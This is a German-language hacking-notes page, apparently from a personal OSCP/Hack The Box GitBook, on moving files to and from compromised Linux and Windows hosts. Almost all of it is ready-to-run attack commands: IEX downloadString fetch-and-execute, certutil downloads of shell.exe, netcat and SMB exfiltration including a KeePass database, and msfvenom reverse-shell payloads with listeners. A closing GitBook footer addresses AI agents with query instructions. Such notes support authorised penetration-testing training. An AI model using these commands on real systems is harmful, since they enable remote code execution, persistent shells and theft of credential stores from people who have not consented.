> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/post-exploitation/file-transfer.md).

# Dateiübertragung

Dateiübertragungen sind nach dem Erhalt eines ersten Zugriffs meist eines der ersten praktischen Probleme: Werkzeuge hineinbringen, Beweise herausbringen und das über jedes Protokoll, das das Zielnetzwerk zulässt. Halten Sie mehrere Methoden bereit, da HTTP, SMB, FTP, PowerShell und Netcat in unterschiedlichen Umgebungen unterschiedlich blockiert werden.

{% hint style="info" %}
Bevorzugen Sie die einfachste Übertragung, die funktioniert, prüfen Sie Hashes, wenn Integrität wichtig ist, und entfernen Sie temporäre Payloads, Freigaben und Listener, wenn die Aufgabe erledigt ist.
{% endhint %}

## Schnelle Entscheidungstabelle

| Situation                                  | Gute erste Wahl                                              | Alternativen              |
| ------------------------------------------ | ------------------------------------------------------------ | ------------------------- |
| Linux-Ziel kann Angreifer-HTTP erreichen   | Python-HTTP-Server + `wget`/`curl`                           | SCP, Netcat, Base64       |
| Windows-Ziel kann Angreifer-HTTP erreichen | Python-HTTP-Server + PowerShell                              | `certutil`, SMB, FTP      |
| Windows-Ziel kann SMB erreichen            | Impacket `smbserver.py`                                      | HTTP, FTP                 |
| Muss von Windows nach Linux exfiltrieren   | SMB-Freigabe mit Schreibunterstützung                        | Netcat, Base64            |
| Sehr kleine Textdatei                      | Base64-Kopieren/Einfügen                                     | Netcat                    |
| Eingeschränkter ausgehender Verkehr        | Probieren Sie häufig erlaubte Ports wie `80`, `443`oder `53` | Zuerst pivotieren/tunneln |

## Übertragungen auf Linux-Ziele

### `Wget`

```bash
python3 -m http.server 8000
wget http://10.10.11.1:8000/file.pdf
```

### **`Curl:`**

```bash
python3 -m http.server 1234
curl -O http://10.10.11.25:1234/file.pdf
```

### `Netcat`

Empfänger zuerst:

```bash
nc -lvp 4444 > file.pdf
```

Sender:

```bash
cat file.pdf | nc 10.10.11.25 4444
```

### `SCP:`

Vom Quellserver:

```bash
scp /path/to/file user@10.10.11.25:/path/to/destination
```

Vom Zielserver:

```bash
scp user@10.10.11.1:/path/to/file /path/to/destination
```

## Übertragungen von Linux nach Windows

### SMB-Server

SMB ist oft der zuverlässigste Übertragungsweg von Kali zu Windows, wenn Port `445` erreichbar ist.

Auf Kali:

```bash
smbserver.py share_name . -smb2support
```

Wenn Windows eine Authentifizierung benötigt:

```bash
smbserver.py share_name . -smb2support -username user -password password
```

Auf Windows:

```powershell
copy \\10.10.14.10\share_name\file.exe C:\Temp\file.exe
```

### HTTP-Server

Auf Kali:

```bash
python3 -m http.server 8000
```

Auf Windows mit PowerShell:

```powershell
Invoke-WebRequest -Uri "http://10.10.14.10:8000/file.exe" -OutFile "C:\Temp\file.exe"
```

Alternativer PowerShell-Client:

```powershell
(New-Object System.Net.WebClient).DownloadFile("http://10.10.14.10:8000/file.exe", "C:\Temp\file.exe")
```

Verwenden von `certutil`:

```powershell
certutil -urlcache -split -f "http://10.10.14.10:8000/file.exe" C:\Temp\file.exe
```

### FTP-Server

FTP ist nützlich, wenn HTTP/SMB eingeschränkt ist, ausgehendes FTP aber erlaubt ist.

Auf Kali:

```bash
sudo apt update
sudo apt install python3-pyftpdlib
python3 -m pyftpdlib -p 21 --write
```

Erstellen Sie auf Windows eine kleine FTP-Befehlsdatei:

```powershell
echo open 10.10.14.10 21> ftp_commands.txt
echo anonymous>> ftp_commands.txt
echo password>> ftp_commands.txt
echo binary>> ftp_commands.txt
echo get file.exe>> ftp_commands.txt
echo bye>> ftp_commands.txt
ftp -s:ftp_commands.txt
```

## Übertragungen auf Windows-Ziele

### `Certutil`

```powershell
python3 -m http.server 80
certutil.exe -f -urlcache -split http://10.10.10.10/shell.exe
```

### `Invoke-WebRequest`

```powershell
python3 -m http.server 80
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "file.exe"
```

### `IEX (Invoke-Expression)`

```powershell
python3 -m http.server 80
IEX(New-object Net.WebClient).downloadString('http://10.10.10.10/file')
```

### `Datei hochladen`

Sie müssen sicherstellen, dass sich die Dateien im passenden Verzeichnis befinden, damit sie vom Server erreichbar sind. Verwenden Sie den folgenden Befehl, um den Upload durchzuführen

```bash
upload /home/jordan/Desktop/htb/return/content/nc.exe
```

### `SMB-Dateifreigabe`

```bash
smbserver.py share $(pwd) -smb2support
```

Rufen Sie dann Ihre SMB-Freigabe unter der folgenden Adresse auf:

```powershell
copy \\10.10.10.10\share\file C:\Temp\file
```

## Dateiübertragung von Windows nach Linux

### SMB-Upload

Starten Sie eine SMB-Freigabe mit Authentifizierung und SMB2-Unterstützung:

```bash
smbserver.py -smb2support -username user -password password share_name /tmp/share
```

Kopieren Sie von dem Windows-Ziel die Datei in die SMB-Freigabe des Angreifers:

```powershell
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.9\share_name\
```

<figure><img src="/files/955dbb8c3a901b53b14bbb4a2c00cd4be14dbcaa" alt=""><figcaption></figcaption></figure>

### Netcat-Exfiltration

Unter Linux lauschen und die eingehenden Bytes in eine Datei schreiben:

```bash
nc -nlvp 4444 > received_file.txt
```

Auf Windows:

```powershell
type C:\path\to\file.txt | nc.exe 10.10.14.10 4444
```

### Base64 für kleine Dateien

Auf Windows:

```powershell
certutil -encode C:\path\to\file.txt encoded.b64
type encoded.b64
```

Fügen Sie unter Linux den kodierten Inhalt ein und dekodieren Sie ihn:

```bash
echo "PASTE_BASE64_HERE" | base64 -d > file.txt
```

## Hinweise zum Payload-Staging

Die Erstellung von Payloads gehört zu den Exploitation-Tools, aber es ist nützlich, gängige Staging-Formate in der Nähe der Notizen zur Dateiübertragung zu halten.

Windows-Beispiele:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o reverse.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f psh -o reverse.ps1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f dll -o reverse.dll
```

Linux-Beispiele:

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f elf -o reverse
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.10 LPORT=443 -f raw -o reverse.py
```

Listener:

```bash
nc -nvlp 443
```

## Tipps zum OSCP-Workflow

1. Bereiten Sie die Methoden HTTP, SMB, Netcat, FTP und Base64 vor, bevor Sie beginnen.
2. Testen Sie den Listener und den Payload-Pfad vor dem Hochladen.
3. Verwenden Sie Ports, die vom Zielnetzwerk wahrscheinlich erlaubt werden, wie `80`, `443`oder `53`.
4. Halten Sie ein kleines Verzeichnis für Payloads/Tools bereit, damit Sie dieselben Dateien nicht wiederholt neu erstellen müssen.
5. Seien Sie sich bewusst, dass Antivirenprogramme Payloads oder Übertragungsmethoden blockieren können; wechseln Sie bei Bedarf Protokoll oder Format.
6. Bereinigen Sie nach der Validierung temporäre Tools, Payloads, FTP-Skripte, SMB-Freigaben und bereitgestellte Dateien.

## Fehlerbehebung

| Problem                                 | Prüfungen                                                                                                                       |
| --------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- |
| SMB-Verbindung abgelehnt                | Ausführen `smbserver.py` mit ausreichenden Berechtigungen, Port `445`, und versuchen Sie `-smb2support`.                        |
| Windows kann auf SMB nicht zugreifen    | Versuchen Sie Authentifizierungs-Flags, überprüfen Sie Firewall-Regeln oder wechseln Sie zu HTTP.                               |
| HTTP-Download schlägt fehl              | Bestätigen Sie, dass das Ziel die Angreifer-IP erreichen kann und dass sich die Datei im bereitgestellten Verzeichnis befindet. |
| PowerShell blockiert                    | Versuchen Sie `certutil`, SMB, FTP oder einen von der Richtlinie erlaubten Living-off-the-Land-Download-Pfad.                   |
| Antivirus entfernt Payload              | Übertragen Sie zuerst eine harmlose Testdatei und passen Sie dann das Payload-Format, Staging oder die Übertragungsmethode an.  |
| Zugriff nach der Übertragung verweigert | Verwenden Sie `chmod +x` unter Linux oder überprüfen Sie Windows-ACLs mit `icacls`.                                             |
| Hochladen zu SMB schlägt fehl           | Starten Sie die Freigabe mit einem beschreibbaren Pfad und Anmeldedaten und testen Sie dann erneut mit einer kleinen Textdatei. |

## Bereinigung

```bash
rm -f reverse reverse.exe reverse.ps1 reverse.dll
rm -f ftp_commands.txt encoded.b64 received_file.txt
```

Auf Windows:

```powershell
del C:\Temp\file.exe
del C:\Temp\reverse.exe
del ftp_commands.txt
certutil -urlcache * delete
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/post-exploitation/file-transfer.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
